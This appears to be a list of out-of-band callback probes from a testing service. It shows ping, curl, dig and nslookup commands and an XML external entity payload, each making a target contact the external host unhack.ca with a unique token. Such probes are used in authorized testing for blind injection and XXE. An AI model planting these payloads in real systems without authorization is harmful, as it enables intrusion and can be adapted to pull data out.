$ ping -c1 -p 0043960a068851147ec2f70a383dfb00 unhack.ca
 

$ curl http://unhack.ca/p/43960a068851147ec2f70a383dfb
 

$ dig 43960a068851147ec2f70a383dfb @unhack.ca
 

$ dig 43960a068851147ec2f70a383dfb.ns.unhack.ca
 

C:\> nslookup 43960a068851147ec2f70a383dfb unhack.ca
 

<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://unhack.ca/p/43960a068851147ec2f70a383dfb">]>
    <foo>&xxe;</foo>